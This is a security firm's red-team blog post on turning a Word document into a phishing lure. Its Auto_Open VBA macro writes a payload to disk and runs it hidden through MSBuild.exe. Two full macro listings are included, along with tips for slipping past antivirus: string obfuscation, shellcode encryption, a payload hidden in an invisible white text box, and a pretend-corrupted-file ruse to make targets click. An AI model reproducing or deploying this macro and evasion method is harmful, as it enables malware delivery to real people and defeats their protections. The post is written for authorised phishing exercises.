Abusing macro to get code execution from a Word document

by Excellium SA

Abusing macro to get code execution from a Word document

by Excellium SA

by Excellium SA

In order to gain initial access as part of a red team exercise, phishing is a very popular approach. A convincing scenario must be found to entice the targets to download and run the malicious file on their laptop. Using a Word document with a macro that launches the malware is a good way to create a legitimate scenario and build target confidence. However, it is necessary to work ahead of time on the macro to avoid defensive measures. For the following, we will choose to target an up-to-date Windows 10 version with all default settings. We will then see what we need to do for our macro to be recognized as legitimate.

Antivirus

Static Analysis: It is collecting information about the malicious application without running it

Dynamic Analysis: It is analyzing how the malware behaves after running it in a sandbox

However, how do you bypass the AV to have code execution via a macro?

The overall operation of the macro is carried out in 2 stages: first, we write our payload to the disk and then we execute it.

For the first step to work, the file must not be detected as malicious during the static analysis.

For this, it is necessary to put in some additional things:

  • a string obfuscation: essential against static analysis, a simple modification of the strings is sufficient
  • shellcode encryption: an XOR method or AES encryption
  • executables or js files tend to be blocked, we will prefer an hta or txt file

I recommend looking into dropengine. It is a framework that allows payload generation from the command line. It allows you to simply choose your encryption method, apply a mutation to the strings and generate the payload in a legitimate format such as csproj. I would like to point out that a csproj file can be contained in a text file, this does not change its execution. If you decide to use the dropengine base modules, I recommend removing all comments as they are also parsed and can be detrimental during static analysis.

For the second step, here again, we can take inspiration from dropengine for the choice of the shellcode runner. I usually generate a file in the csproj format, traditionally used for C# projects. It contains a list of the files included in a project as well as references to the system assemblies. When a new project is started in Microsoft Visual Studio, a file with this extension is generated. So in a Windows environment, this is a legitimate file format. Furthermore, what will interest us is the execution context. We will indeed execute it by calling Msbuild.exe which is a native and legitimate Windows executable. This executable is present by default in all Windows machines and is signed by Microsoft Corporation.

Time to write the macro

The idea behind the two techniques described below is to write the payload to disk directly from the macro and then execute the payload in a shell.

We will put all our code in an Auto_Open() function so that the code runs directly when the Word document is open.

The macro will take the following form:

Sub Auto_Open()

Dim fso As Object

Set fso = CreateObject(“Scripting.FileSystemObject”)

Dim oFile As Object

Set oFile = fso.CreateTextFile(“C:\Windows\temp\payload.txt”)

oFile.Writeline “here we can type our payload”   ‘We will replace this part with our payload

oFile.close

Set fso = Nothing

Set oFile = Nothing

Call Shell(“C:\Windows\Microsoft.net\Framework\v4.0.30319\Msbuild.exe C:\Windows\temp\payload.txt, vbHide)   ‘The command varies depending on the format of the payload to be executed. For example for hta we would call mshta.exe

End Sub

The first possibility is to have everything hard-coded in the macro. To do this, we will generate our payload as we saw in the section above. Then we will have to format our payload so that it can be written to a file from the vba code. The little script below does the conversion:

cat payload.txt | sed ‘s/”/””/g’ | sed -E ‘s/^ *(.*)/oFile.WriteLine “\1″/’ > final.txt

After running the script, we can copy the payload directly into our VBA program. So when the macro runs we will write our payload to a file on the disk. For this step to work it is important to have built your payload properly as explained in the section above.​

The second possibility is an improvement of the first.

Instead of putting our payload directly into the macro, we will write it into a text box in the Word document. We can then set the text to white and move the text box so that it is completely invisible and cannot be found. In order to retrieve our payload we will define a bookmark that we will name payload on our text box.

 

payload into word document

The macro then becomes :

Sub Auto_Open()

Dim fso As Object

Set fso = CreateObject(“Scripting.FileSystemObject”)

Dim oFile As Object

Set oFile = fso.CreateTextFile(“C:\Windows\temp\payload.txt”)

Dim MyPayload As String

MyPayload = ActiveDocument.Bookmarks(“payload”).Range.Text

oFile.Writeline MyPayload

oFile.Close

Set fso = Nothing

Set oFile = Nothing

Call Shell(“C:\Windows\Microsoft.net\Framework\v4.0.30319\Msbuild.exe C:\Windows\temp\payload.txt, vbHide)   ‘The command varies depending on the format of the payload to be executed. For example for hta we would call mshta.exe

End Sub

Improvements

In order to see what could potentially still be detected by an antivirus program, one can use olevba.

We see that even if our document bypasses Windows Defender, there are still many things that can be analyzed as malicious.

Firstly, having the macro run when the file is launched may seem suspicious, so I advise creating a scenario that will encourage the person to click on a button that will launch the macro. You can imagine that the file seems corrupted or obfuscated and that they click somewhere to restore it.

Secondly, strings like paths in Windows are processed during static analysis. To avoid this, it is sufficient to use concatenation and alternate upper and lower case to reconstruct the string. It is then no longer visible during static analysis.

Finally, it is not mandatory to use the Call method to invoke the Shell. It is, therefore, preferable to call it in a variable which will get the PID of the created process.

An improved version could therefore be this:

Improved version of macro

To go further, we can also add to the macro the possibility after execution to delete the payload referenced by the bookmark as well as the file that has been created on the disk.

Happy phishing exercises. 🙂

 

Author: Mathieu Vivier.

Top